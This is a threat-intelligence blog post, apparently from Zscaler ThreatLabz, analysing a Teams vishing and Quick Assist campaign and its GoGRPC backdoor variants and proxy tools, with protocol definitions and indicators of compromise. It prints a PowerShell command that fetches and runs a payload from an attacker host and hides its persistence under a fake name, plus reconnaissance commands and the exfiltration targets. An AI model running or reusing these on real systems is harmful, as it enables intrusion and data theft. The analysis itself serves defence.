Helpdesk Hijackers: Teams Vishing, Quick Assist, and GoGRPC Backdoor

IntroductionZscaler ThreatLabz has been tracking attacks from a threat actor that is likely an initial access broker for ransomware attacks since January 2026. The threat actor targets organizations by leveraging vishing techniques through Microsoft Teams and deploying a variety of tools including a Go-based backdoor that we named GoGRPC. ThreatLabz has identified at least four variants of GoGPRC that we named Lep, Giver, Pet, and Kind. In some instances, the threat actor has deployed additional malware tools that include a backdoor that we named BlindDoor, a Go-based reverse SOCKS proxy we named RevSocket, a Python-based reverse SOCKS proxy we named PyGRPC, and two other tools we named S3Siphon and RSOX.In this blog post, ThreatLabz examines the four GoGRPC variants, highlighting where they overlap and how they differ. We also analyze their command-and-control (C2) communication protocols and summarize the additional malware tools observed in these campaigns. Key TakeawaysSince January 2026, ThreatLabz tracked a cluster of attacks likely associated with a ransomware group that begins with targeted vishing via Microsoft Teams, convincing the victim to launch a Quick Assist remote support session.After initial access, the threat actors use PowerShell scripts to gather host information and deploy a Go-based backdoor that we named GoGRPC and/or other malware tools.ThreatLabz observed four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. These variants have overlapping capabilities but notable implementation differences.GoGRPC is actively evolving. Each variant modifies its payloads and capabilities, adding or removing functionality to better support the threat actor’s objectives. Recent changes indicate an increased targeting of corporate environments, which may be tied to ransomware attacks.GoGRPC communicates with the C2 server using gRPC, which differs from common C2 frameworks where gRPC is typically used for internal communication between components.The threat actor also deploys SOCKS proxy tools that also use gRPC or WebSockets to communicate with the C2 server. Initial CompromiseThe initial compromise by this threat actor likely starts with spam bombing the victim’s inbox. This assessment is based on similar campaigns that ThreatLabz has observed (such as Payouts King and other campaigns reported by Microsoft). These vishing attacks use Microsoft Teams, with the threat actor posing as IT/helpdesk staff offering assistance. The objective is to persuade the victim to open a Quick Assist link to establish a remote session that leads to the follow-on activity described in this blog. Attack FlowThe figure below provides a high-level overview of the attack flow, including the GoGRPC backdoor variants and additional malware tools. Figure 1: High-level campaign attack flow and associated tooling for GoGRPC. Differences Between GoGRPC VariantsThreatLabz tracks the four Go-based backdoor variants as Lep, Giver, Pet, and Kind. We use these labels for consistency across reporting, but the names do not always appear verbatim in the binaries. The following figure below shows the function trees for each of these variants.Figure 2: Function trees for GoGRPC backdoor variants.In many samples, the Go module/library “root” name is randomized. In addition, Pet (and later Kind) typically go further by obfuscating method names, variable names, and structure attributes which makes code comparisons more tedious. The table below summarizes the most relevant differences ThreatLabz observed among these GoGRPC variants:AttributeLepGiverPetKindFirst seenJanuary 6, 2026February 19, 2026April 16, 2026June 2, 2026Fingerprinting capabilitiesYesYesNoNoAgent ID based on victim’s systemYesYesNo, user ID is hardcoded in the sampleNo, same as Pet variantCapable of hiding itselfYes, by using attribNoNoNoMultiple serversNo, one hardcoded server YesNo, one hardcoded server No, one hardcoded server Native proxy command (defined but not implemented)YesYesNoNoUnique instance checksYes, via mutexYes, via mutexNoNoMethod and variable name obfuscationNoNoYesYesTLS supportNoNoYesYesgRPC protocol definition obfuscatedNoNoNoYesExecution without timeoutNoYesYesYesTable 1: Capability comparison between GoGRPC variants. Technical AnalysisThe following section describes the GoGRPC variants including their capabilities and their C2 communication methods, and examines additional malware tooling observed in these campaigns.After establishing a Quick Assist remote session on the victim’s system, the threat actor launches a PowerShell command that downloads and executes GoGRPC using a command similar to the example shown below:$l=RANDOM;$u="hXXps://re102.fastwinnowcom/download/link";$p="$env:APPDATAsekv$l.exe";Invoke-WebRequest $u -OutFile $p;Unblock-File $p;Start-Process $p;Set-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" -Name "Realtek HD Audio" -Value $p; Remove-Item (Get-PSReadlineOption).HistorySavePathThe PowerShell command above also establishes persistence by creating a registry Run value to start when a user logs in.After GoGRPC is launched, the codeBase64 decodes one or more hardcoded IP addresses (depending on the variant) for C2 communications. Next, GoGRPC creates the file %PROGRAMDATA%appscreenappscreen.log which is used as an execution log (in all but the most recent variant). The Lep and Giver GoGRPC variants also check whether another instance is running via a hardcoded mutex name that differs across variants and follows the format Global. GoGRPC then begins a system fingerprinting process by executing the following commands:C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CurrentMinorVersionNumber C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CurrentMajorVersionNumber C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v ProductName C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CSDVersion C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v ReleaseID C:Windowssystem32reg.exe query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CurrentBuildThese commands retrieve information about the victim’s Windows system, including the Windows version and current build. On legacy Windows systems, the commands collect the installed Service Pack and the Release ID.GoGRPC also gathers other information such as the computer name, user name, machine GUID (used as an agent ID value), and hostname. This information is stored in an internal data structure as shown below:struct main_Agent{ string agentID; string osName; string hostName; string compName; string userName; string domainName; string arch; map_string_string tags; string sessionID; time_Duration heartbeatEvery; _ptr_log_Logger logger; uint64 mut; };GoGRPC then registers with the C2 server and waits for commands to execute. The commands ThreatLabz observed included discovery and enumeration tasks, as shown below.powershell systeminfo ; whoami /groups ; net user "$env:UserName" /domain ; echo AD_Computers: ("(ObjectClass=computer)").FindAll().count ; nltest /domain_trusts powershell Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct" -ErrorAction Stop attrib +h +s C:Users*******·Windo 0040 77 73 20 31 30 20 50 72 6f 20 31 39 30 34 34 32 ws 10 Pr o 190442 0050 05 61 6d 64 36 34 ·amd64The C2 server replies with a RegisterResponse message with either a session ID string if the request is valid, or returns an error message. The protobuf definition for the response is shown below.message RegisterResponse { .agent.Status status = 1; oneof result { .agent.Error error = 2; string session_id = 3; } }The figure below shows a successful RegisterResponse with the session ID that will be used in subsequent messages. 0000 08 01 1a 20 62 36 37 39 62 62 35 35 32 37 62 62 ··· b679 bb5527bb 0010 35 66 35 64 61 66 36 39 31 66 39 37 39 32 37 39 5f5daf69 1f979279 0020 33 31 38 64 318dAfter the connection is established, GoGRPC sends heartbeat messages periodically to maintain the connection.GoGRPC commandsTwo protobuf command message types are defined for GoGRPC C2 server communication, as shown below.message Command { uint64 command_id = 1; int64 issued_at = 2; oneof payload { .agent.ExecuteCommand execute = 3; .agent.EstablishConnection connect = 4; } }After a command message is received from the C2 server and executed, GoGRPC sends a result message with the protobuf definition shown below:message CommandResult { uint64 command_id = 1; .agent.Status status = 2; oneof result { .agent.Error error = 3; .agent.ExecuteCommandResult execute = 4; .agent.EstablishConnectionResult connect = 5; } } enum Status { STATUS_UNSPECIFIED = 0; SUCCESS = 1; ERROR = 2; } enum ErrorCode { ERROR_CODE_UNSPECIFIED = 0; INVALID_COMMAND = 1; PERMISSION_DENIED = 2; EXECUTION_FAILED = 3; TIMEOUT = 4; }There are two main types of commands supported by GoGRPC, which can execute arbitrary shell commands or establish a proxy connection. To execute shell commands, the C2 server sends ExecuteCommand messages in one of the following protobuf formats, depending on the variant://Giver, Pet and Kind variants message ExecuteCommand { string command = 1; uint32 timeout_seconds = 2; } or //Lep variant message ExecuteCommand { string interpreter = 1; string command = 2; uint32 timeout_seconds = 3; }GoGRPC executes the ExecuteCommand command via the Go os/exec library. The malware collects stdout and stderr, along with the exit code, and sends the results back to the C2 server. The result protobuf message format is shown below.message ExecuteCommandResult { int32 exit_code = 1; bytes stdout = 2; bytes stderr = 3; }There is an EstablishConnection command designed to proxy network traffic that is defined in the Lep and Giver variants. However, the code to relay network traffic does not appear to have been implemented.The code only defined the protobuf structure below.message EstablishConnection { string protocol = 1; string address = 2; bool encrypted = 3; }The code also defined a result protobuf message using the following format.message EstablishConnectionResult { bool connected = 1; string details = 2; }This command is no longer defined in more recent variants (Pet and Kind) of GoGRPC.If GoGRPC encounters errors while processing commands, it sends a CommandResult message of type error. Error codes are also defined, as shown below.message Error { .agent.ErrorCode code = 1; string message = 2; } enum ErrorCode { ERROR_CODE_UNSPECIFIED = 0; INVALID_COMMAND = 1; PERMISSION_DENIED = 2; EXECUTION_FAILED = 3; TIMEOUT = 4;Additional malware tools observedIn addition to GoGRPC, ThreatLabz identified the threat actor deploying other tooling depending on the victim’s environment. One of the tools we observed in early January is a backdoor that we named BlindDoor. After decoding the C2 IP address hardcoded in the binary, the backdoor sends a READY message to notify the C2 server that the backdoor is running. The C2 server then sends packets containing one or more commands, separated by newline characters, to be executed on the victim’s system. After each command is executed, the backdoor responds with an OK message.This response does not include any output or other data. The backdoor also attempts to keep the communication active and to reestablish the connection if the socket closes. The communication protocol is shown in the figure below. Figure 3: Communication protocol used by BlindDoor.Another tool deployed by the threat actor is a malware family that we named S3Siphon. S3Siphon is a utility that iterates through specific directories and exfiltrates files by uploading them to an AWS S3 bucket using HTTPS PUT requests with the user agent BackupAgent/1.0. This data theft is likely used later to extort organizations for a ransom.The target folders hardcoded in S3Siphon are listed below:DesktopPicturesOneDriveDocumentsVideosDownloadsMusicS3Siphon filters files larger than 100MB and files with the following extensions: .tmp, .temp, .log, .cache, .db, .dll, .exe, .sys, and .lnk. It also excludes files located in the following paths:appdata/local/microsoft/windows/inetcacheappdata/local/microsoft/windows/inetcookiesappdata/local/microsoft/windows/historyappdata/local/microsoft/windows/temporary internet filesappdata/local/microsoft/cryptneturlcacheappdata/local/tempappdata/locallow/microsoft/cryptneturlcacheappdata/roaming/microsoft/windows/recentappdata/local/packagesappdata/local/microsoft/windowsapps__pycache__cache.cacheWindowsprogram filesprogram files (x86)programdata$recycle.binSince June 2026, the threat actor has been deploying the Kind GoGRPC variant and other new malware tooling (including RevSocket, PyGRPC, and RSOX). However, the threat actor appears to be more selective in targeting with the use of more sophisticated PowerShell scripts to assess the potential value of the victim and environment before proceeding.In the initial stage, the threat actor downloads additional PowerShell scripts tailored for corporate environments. These scripts provide capabilities such as:Antivirus (AV) and endpoint detection and response (EDR) detectionDomain controller and corporate environment fingerprintingSystem reconnaissance, data collection, and exfiltrationSecond stage payload delivery, including downloading, executing, and creating persistence via a registry keyThreatLabz has also observed some PowerShell scripts dropping a Go-based reverse SOCKS proxy that we named RevSocket instead of GoGRPC. The proxy opens a WebSocket connection over TLS to a hardcoded C2 server. Once the connection is established, the threat actor can tunnel TCP traffic through the compromised host. To create several tunnels, the proxy uses yamux to multiplex sessions.The proxy first decodes the C2 address and constructs the WebSocket URL wss:///ws. It then loads an embedded certificate to establish the TLS transport, enabling certificate pinning and helping prevent man-in-the-middle (MitM) attacks. After the WebSocket tunnel is established, the proxy receives requests to create new tunnels. For each request, it uses net.Dial to create a TCP connection to the requested destination. The connection request packets follow the format below:|Host Type|Host|Port| 0 1 n n+2 where: Host Type = 1 for IPV4 (host will be 4 bytes) Host Type = 3 for domain_name (host will be 1-byte-length + domain_name) Host Type = 4 for IPV6 (host will be 16 bytes)ThreatLabz also observed another tool, named PyGRPC, which was a compiled Python reverse SOCKS proxy, protected by Pyarmor. This proxy communicates with the C2 server using gRPC over TLS like the Pet and Kind backdoor variants. In addition to the commands used to establish and close tunnels, the proxy also supports a command to generate a reconnaissance report and send it to the C2 server. This proxy is more complex than the threat actor’s other SOCKS proxy tools and uses AES as an additional layer of encryption to its message payloads.In the most recent campaigns observed by ThreatLabz, the threat actor is using payloads dropped after the initial stage as Microsoft Installer (MSI) files that install and execute a tool that we named RSOX .RSOX is a Rust-based tool that acts as a SOCKS proxy relay. It uses WebSockets over TLS to establish connections to a C2 server. The C2 server is obtained from the RSOX_SERVER_URL environment variable if set, otherwise it is obtained by decoding a hardcoded C2 server in the code. This allows the threat actor to reconfigure the C2 server if needed. RSOX also uses a token for authentication, either hardcoded in the binary or retrieved from the RSOX_TOKEN environment variable.RSOX uses JSON, serialized using the Rust serde library, for C2 communication. The message structure has the following format: { “msg”: , “data”: }A list of the C2 commands and their descriptions is provided below:Command (msg)Payload (fields)DescriptionHellotokenhostnameusernameThe handshake message is generated by RSOX right after the WebSocket connection is established.EnableSocksNoneThe response from the Hello command. It instructs RSOX to activate the SOCKS proxy subsystem.SocksReadyNoneSent by RSOX to signal that it is ready to receive SOCKS connections.SocksConnectstream_idhostportThe C2 server instructs RSOX to open a TCP connection to the host:port target.SocksConnectedstream_idok Reports the result of a SOCKS connection attempt back to the C2 server. The ok field is true if the connection succeeded and false if it failed.SocksDatastream_idpayloadForwards data between the C2 server and the remote endpoint for a given stream. The payload field contains Base64-encoded data or a raw string.SocksClosestream_idInstructs RSOX to close a TCP connection or notifies the C2 server when a connection is closed.PingNonePeriodic heartbeat to maintain the WebSocket connection.DisableSocksNonePrevents RSOX from accepting new connections; existing tunnels continue operating.KillNoneInstructs RSOX to shut down all tunnels and exit.Table 2: C2 commands supported by RSOX.  ConclusionFrom January through June 2026, ThreatLabz examined a cluster of related campaigns that used Microsoft Teams vishing and Quick Assist for initial access, followed by PowerShell-based staging. Post-compromise, the threat actor deployed GoGRPC along with various backdoor and proxying tools. Since the beginning of the year, the threat actor’s tooling has increased in sophistication, with more recent activity appearing to be more selective and increasingly focused on corporate environments. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to GoGRPC variants at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for GoGRPC:Figure 4: Zscaler Cloud Sandbox report for GoGRPC. Indicators Of Compromise (IOCs)IndicatorDescription66b2b22397cea219266afb8cbbb28fe93997c1444f642a183ac8fc9ca1fabed5SHA256 Giver backdoor9136ffb749c6cec13b826cd4f25ffdcf170375889feba9fee28dd74c32578f52SHA256 Lep backdoor7dcabb6d07d52b92bbf8d659d1ed373fa780e7839fd3d744826a56fc1cd2372fSHA256 Giver backdoor35ea50f16bd5c080c91dbaa3dd4937408ed9563c1d9aa1cd0c751ae58db0eedcSHA256 Pet backdoor (TLS)759287052b8cc4f4ce16065857cbc9dba72aab218e709d3419483a95092c6f96SHA256 Pet backdoor (TLS)f36bfccf944b5d1e5e306958c1a728e38786c042ee4e536cc44c9d43940b1121SHA256 Kind backdoor (TLS)51edd14233483bcf36e0b0f31451f28eac681fe3f2036f76c02b7ec1bb17ce33SHA256 Kind backdoor (TLS)5d53246b0e6b681bc624739a7bead39a61fb07c0f4474b8170112e829c053f85SHA256 RevSocket (alone)65af5c3ba2d00967b25b9165d2d3171fa81f209ee0790299805bb907d492a670SHA256 PyGRPC and reconnaissance 41748648b71a70431123ec48e38868ff8aad3a7a06f5d781c2d2a4f718e7fd91SHA256 MSI dropping RSOXf85960dee17ba587b712cd8cdf89042bcd6ba711c3d5d548bef7c7f0988413f5 SHA256 RSOXscansec-updcomC2 server deploying toolsre2.filesdwnloadtopC2 server deploying tools (April)re8.dowlflesonlineC2 server deploying tools (May)update19.upldfonlineC2 server deploying tools (June)5.253.59.222Lep C2 server94.140.114.192Giver C2 server193.29.57.37Pet C2 server45.86.162.228Kind C2 server (June)46.30.191.126RevSocket C2 server (May)46.30.191.60RevSocket C2 server (June)185.82.126.91S3Siphon C2 server (Jan)xeds.geranteeg.onlineRSOX C2 server (June)

Nguồn: https://securityboulevard.com/2026/07/helpdesk-hijackers-teams-vishing-quick-assist-and-gogrpc-backdoor. 8sync News chỉ tóm tắt và dẫn link; bản quyền nội dung thuộc tác giả và nguồn gốc.